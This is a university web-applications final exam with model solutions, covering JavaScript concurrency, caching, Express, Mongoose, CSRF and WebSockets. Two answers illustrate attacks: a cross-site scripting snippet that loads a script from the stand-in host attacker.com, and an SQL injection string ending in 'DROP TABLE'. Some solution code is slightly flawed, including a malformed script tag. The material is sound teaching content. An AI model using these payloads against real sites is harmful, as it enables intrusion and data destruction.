CS 142 Final Examination

Spring Quarter 2022

You have 3 hours (180 minutes) for this examination; the number of points for each question indicates roughly how many minutes you should spend on that question. Make sure you print your name and sign the Honor Code below. During the examination you may consult two double-sided pages of notes; all other sources of information, including laptops, cell phones, etc. are prohibited.

I acknowledge and accept the Stanford University Honor Code. I have neither given nor received aid in answering the questions on this examination.

_____

(Signature)

__Solutions_____

(Print your name, legibly!)

_____@stanford.edu

(SUID - Stanford email account for grading database key)

Problem	#1	#2	#3	#4	#5	#6	#7	#8	#9	#10
Points	9	10	9	9	9	9	10	10	9	9
Problem	#11	#12	#13	#14	#15	#16	#17	#18	#19	Total
Points	10	9	9	10	10	10	9	10	10	180

Problem #1 (9 points)

Most programming language environments use threads of control to support concurrent operations. For example, if you wanted to make an HTTP request in the Go language you could write a routine that builds an HTTP request, sends it out, and reads the HTTP response from the TCP/IP socket. By simply putting the "go" keyword in front of this function it will run on a separate thread. Any number of concurrent requests can be performed in this way.

DOM's XMLHttpRequest class allows JavaScript to format, send, and receive HTTP requests but the JavaScript environment does not support multiple threads of control. Describe how without threads, JavaScript can use XMLHttpRequest to support multiple concurrent HTTP requests. Demonstrate your answer by showing two requests being concurrently performed. Exact method names aren't needed for this answer.

Asynchronous operations in JavaScript can be done without threads by dividing the operation into a "start" call and having it proceed concurrently until some notification function is called (i.e. a callback function). XMLHttpRequest uses this pattern where a request object is created, filled in, and sent with a callback function specified for when the request finishes. Sending two concurrent requests can be accomplished by specifying and sending two different XMLHttpRequest objects.

For example:

```
request1 = new XMLHttpRequest();
request2 = new XMLHttpRequest()
request1.onreadystatechange = doneCallback1;
request2.onreadystatechange = doneCallback2;
request1.open("GET", "photoshare.bundle.js");
request2.open("POST", "/admin/login")
request1.send();
request2.send();
```

Problem #2 (10 points)

The HTTP protocol allows a web server to inform the browser's cache policy for some content. For example, if the web server puts the following line in an HTTP response's header:

```
Cache-Control: max-age=604800
```

the browser's cache is passed this value (604800 is a week's worth of seconds).

Passing the above response header field in the response to an HTTP GET of `/compiled/photoShare.bundle.js` in Photo App would have advantages and disadvantages for both the Photo App web app operator and the Photo App user. List the main advantage and main disadvantage of having such a Cache-Control for these two points of view. Write "None" if there isn't an advantage or disadvantage for the point of view.

Photo App operator

Main advantage:

By having the user's browser cache the web application's read-only content, the web application operator can lower the number of requests and bytes transferred to serve this content from their webservers. This translates into lower operating costs for the web application and an ability to serve more users.

Main disadvantage:

Due to the week-long caching of the web application, any changes made by the developer might have to wait for up to a week for users to see the new version. A change that needs to be made immediately is an impossibility.

Photo App user

Main advantage:

Since photoshare.bundle.js is stored in their cache, their app startup latency will be reduced.

Main disadvantage:

The user may not get updated versions of bundle.js from the web server for a week limiting their access to photoshare's features.

Problem #3 (9 points)

The `eval` function in JavaScript looks custom-made for code injection attacks. The function takes a string variable as a parameter and will execute the string as JavaScript code. All an attacker needs to do is figure out how to set the value of that parameter and they can inject arbitrary Javascript code.

Because of this code injection attack risk as well as general software engineering concerns, the use of `eval` is strongly discouraged. `eval` often tops the list of JavaScript language features that should always be avoided.

Even avoiding `eval`, JavaScript running in a browser can trivially use the DOM to inject JavaScript code. Show the DOM programming needed to load some arbitrary JavaScript.

The code injection attack on the browser is called a "cross-site scripting attack" since the attackers frequently use HTML `script` tags to load the JavaScript. Given a DOM element (e.g. `elem`), the attacker could simply do:

```
elem.innerHtml =
      `<script
           type="text/javascript"
           src="http://attacker.com/arbitraryScript.js"
      </script>`;
```

Problem #4 (9 points)

SQL injection attacks have been the bane of many websites. Assume you have been put in charge of a website of public data that uses an SQL database. It is claimed the website is read-only. The REST endpoints of the web server use only HTTP GET requests. Like proper REST endpoints, no GET request ever submits an SQL that modifies the database.

The existence of the SQL database makes SQL inject attacks a concern. It is claimed that the read-only nature of the REST API means you only need to worry about SQL injection attacks that return more information. Because all the website data is public, an attacker can not gain any additional access via injection data attacks.

Is the claim you don't need to worry about SQL injection attacks on a public, read-only REST API valid? Justify your answer.

This claim is not valid since the attacker can inject SQL code that can modify the database in a GET request. For example, the GET requests SELECT statement could be modified to include a different mutating query. For example, a query like

```
SELECT * FROM myTable WHERE name = "John"
```

could be modified to be:

```
SELECT * FROM myTable WHERE name = "John"; DROP TABLE myTable;
```

Problem #5 (9 points)

Between earlier web application technologies like PHP and Ruby on Rails and the JavaScript frameworks used by React, some significant functionality moved from the web server to the browser allowing the web server to be greatly simplified. What was the web application functionality that moved from the server to the browser?

Whereas earlier web app technologies rendered the view into HTML on the server and sent the HTML to the browser, modern JavaScript frameworks like React tend to render in the browser. This means the web server does not need the view generation functionality (e.g HTML template processing) removing significant functionality from the web server to the browser.

Problem #6 (9 points)

Superficially, the JavaScript `async` keyword is like the Go language `go` keyword in that the execution continues in the current function while the async/concurrent called function proceeds on its own. There are some subtle differences in the way the two keywords operate. For example consider the Javascript function definition:

```
function numberOne() {
  return 1;
}
```

It currently returns a value of type number that has value of 1 when called. If we proceed the function with async like so:

```
async function numberOne() {
  return 1;
}
```

Where go `numberOne()` would return the number 1 in Go, what does the `numberOne()` return in JavaScript?

Putting the `async` keyword in from a function makes the function return a promise. In the case of the function `numberOne`, the returned promise will resolve to the number 1.

Problem #7 (10 points)

Most students used `async.each` or something similar to process the photo's comments in the `/photosOfUser` endpoint of Project 6. As recommended in the assignment, the student had something that looked like:

```
async.each(photo.comments, processCommentFunc, allDoneFunc);
```

Some students familiar with the new JavaScript `await` keyword and the ability of Mongoose to return promises produce a far smaller solution to the comment processing. It looked like:

```
for (let i = 0; i < photos.comments; i++) {
   photos.comments[i] = await processCommentFuncPromise(photos.comments[i]);
}
```

The await version might work correctly and pass the API tests but the execution is different. Explain why you might prefer the `async.each` even though it is more lines of code? You can assume that both approaches have the appropriate error handling code that is not shown.

The `await` keyword in JavaScript causes the execution of the executing function to be paused until the promise is resolved and the resolved value is available. In the above usage, this function execution means that each `processCommentFuncPromise` call will be done serially with each `processCommentFuncPromise` promise resolving before the next `processCommentFuncPromise` call is done. This means that the database calls will be done serially. `async.each`, on the other hand, will call all the processCommentFunc routines in a loop allowing multiple outstanding requests to be sent to the database where they could be processed concurrently. The disadvantage of the `await` approach is it precludes concurrent database operations.

Problem #8 (10 points)

In lecture, we presented two ways of reading a file using the Node.js `fs` module. One way uses the `fs.readFile` routine and the other used the `fs.createReadStream` routine. Describe a situation that would require using `fs.createReadStream` routine over `fs.readFile`.

The `fs.readFile` API returns the entire contents of the file as a Node.js Buffer object. That means the entire file is read into the memory of the Node.js process. This approach will fail when it encounters a file so big that it can't be read into memory. The `fs.createReadStream` API reads the files in chunks whose maximum size is set by the `fs.createReadStream` routine. Large files don't use more memory with `fs.createReadStream`. A very large file would be a situation that would require using `fs.createReadStream` routine over `fs.readFile`.

Problem #9 (9 points)

The Node.js EventEmitter interface supports two main methods: `.listen` and `.emit`.
In a normal program using EventEmitters would you expect to see more `.listen` or `.emit` method calls happen? Explain your answer.

Although you could construct a Node.js program and use the .listen and .emit methods of an EventEmitter in arbitrary ways, the typical usage of an EventEmitter is some code set up to listen for an event at startup and then gets called when the event occurs. The examples we show in class like TCP stream processing and reading files all followed this pattern and would have the same or more emit than listen calls.

Problem #10 (9 points)

In JavaScript programming using an object-oriented approach, it is not uncommon to see method functions return `this` rather than a value or error return. Explain the advantage of a class's method returning `this`, something the caller of the method must have known already to make the method call.

Returning `this` from a method allows "chaining" of method calls. An example of this is the Express.js response object usage:

```
response.status(200).send('Hello');
```

The chains together a method call to set the status before sending the response.

Problem #11 (10 points)

An Express.js route handler function is invoked with three parameters:

```
function (request, response, next)
```

It is common to see handler functions that call the `response.end()` or `next()`. Sometimes handlers will contain calls to both of those functions `but` it is rare to see a handler call both functions during a single invocation on a request. Explain why this is the case.

`response.end()` directs Express.js to send the response the HTTP request being processed. `next()` directs Express.js to call the next matching handler for the request. next() is used by Express.js Middleware to do some processing and pass the request along. A handler that both send the response and then passes control to another handler but that handler won't be able to do anything with the response since it has already been sent. It is certainly possible to have a handler that runs after the response has been sent but it is far more common to do all request processing before the response is sent.

Problem #12 (9 points)

The designers of Mongoose made the schema definition syntax look a lot like a previous system called Rails which was an ORM (object-relational mapping) used with the Ruby language. Because of this, Mongoose is sometimes incorrectly referred to as an ORM. Explain why it would be incorrect to call Mongoose with MongoDB an ORM.

It is incorrect since Mongoose is not doing any relational mapping since MongoDB is not a relational database. Mongoose is an Object Definition Language (ODL) where data are stored as JSON objects.

Problem #13 (9 points)

Attackers launch phishing attacks to trick users into visiting a fake version of a web application and getting the user to disclose something like their authentication information (e.g. account name and password). Explain why from an attacker's perspective a regular phishing attack is easier to pull off than a spear-phishing attack?

A spear phishing requires the attackers to have some personal information about the users (for example their name) while a regular phishing attack does not. So it is easier for attackers to do a regular phishing.

Problem #14 (10 points)

How does a certificate authority (CA) tell that a service that is registering a public key for a domain name that the service is who they say they are and not some random person trying to impersonate the service? Describe the mechanism used by the CA to authenticate the certificate requestor. Note we are asking about regular certificate authorities and not extended certificate authorities.

The minimum level of authentication that a CA does is to send an email to the registering domain and see if they get a response. The assumption is that if someone can reply to an email to a domain they are permitted to register a public key for it.

Problem #15 (10 points)

Browsers provide strong isolation between web applications of different origins running in different windows in the same browser. A web application of an origin running in one window can not access the cookies or DOM resources of another origin's web application in a different window.

The one exception is for legacy reasons a web app does need to worry about a web application in a different window launching HTTP requests to the web app's backend. The browser will attach the web app's session cookies to the request making it hard for the backend to tell which window the request came from.

Our Photo App's webServer.js uses HTTP POST requests for the creation of REST resources (e.g. POST to /user to register a new user creates a User object). An attacker in a web app in a different window in the same browser can generate HTTP POST requests to our backend. Explain why such HTTP POST creates won't work on our backend even though we accept POST requests.

An attacker can attempt a CSRF attack on our PhotoApp by creating an HTML form and submitting it to our Photo App. The form submit will send an HTTP POST request with our session cookie attached. Because it is a form submit the format of the POST request body is limited to the options available for `enctype` attribute on the form. The JSON format our Photo App's POST body uses isn't available as an `enctype` so our PhotoApp parsing of the body would fail and the request wouldn't be processed.

Problem #16 (10 points)

You see a service advertised that it can perform a conversion between RPC and REST APIs. The service documentation claims that if you give them a specification of an API of either RPC or REST, they give you an implementation that provides you the other API. That is, if you give the service a REST API, they will generate an equivalent functionality RPC system. Similarly, if you give the service an RPC API, they will produce an equivalent REST API.

Sometimes products don't work as advertised. For each of the conversion directions, state either:

- The conversion would likely be possible and briefly describe how the conversion would be performed.
- The conversion would be impossible in all cases and describe what the problem would be.

A. RPC API system to REST API

RPC APIs use a request-response protocol to "call" remote procedures that can perform arbitrarily complex operations across the resources available to the web server. REST API are a request-response protocol (HTTP) exporting create, delete, read, and update (CRUD) operations on resources and collections of resources. Given the arbitrary functionality of the RPC calls, it would be impossible in general to map them into CRUD operations.

B. REST API system to RPC API

REST APIs use a request-response protocol (HTTP) to communicate using simple create, delete, read, and update (CRUD) operations. Since RPC is a request-respose protocol of arbitrary functionality, it would have no problem implementing the CRUD operations. There would be a simple mapping between a REST API and an RPC API implementation.

Problem #17 (9 points)

Assume you are given a Node.js EventEmitter object named `em`.

```
let Emitter = require('events').EventEmitter;
let em = new Emitter();
```

The documentation tells you that `em` will report its result on the event named `'result'`. Show some JavaScript code that will extract the result from the emitter `em`.

```
em.on("result", function (result) {
    console.log(result);
});
```

Problem #18 (10 points)

Assume you are given a JavaScript promise that is documented as returning a magic number. Write some JavaScript code that extracts the magic number from the promise and stores it in the variable `tmp`. If this can not be done, describe why not.

```
let promise = getMagicNumberPromise();
let tmp;  // Promise number goes here

promise.then(function (magicNumber) {
   tmp = magicNumber;
});
```

Problem #19 (10 points)

The EdForum discussion form nicely updates its display of posts with any new posts without any user action needed. Curiously, using Chrome to monitor the HTTP requests of the EdForum web application shows not only are no user actions needed for updates to occur but no HTTP responses are needed for the newly created posts to display. Suggest a way the EdForum web app could receive updates in the presence of no HTTP requests.

The web server must communicate with the browser in order for the web application running in the browser to know about the newly created posts. Since we don't see any HTTP responses coming back from the web server, some other communication mechanism must be used. Modern browsers support the WebSockets API that allows a TCP/IP connection to exchange information between the browser and the web server. TCP/IP is a two-way connection so it could be used to tell the browser about the availability of new posts.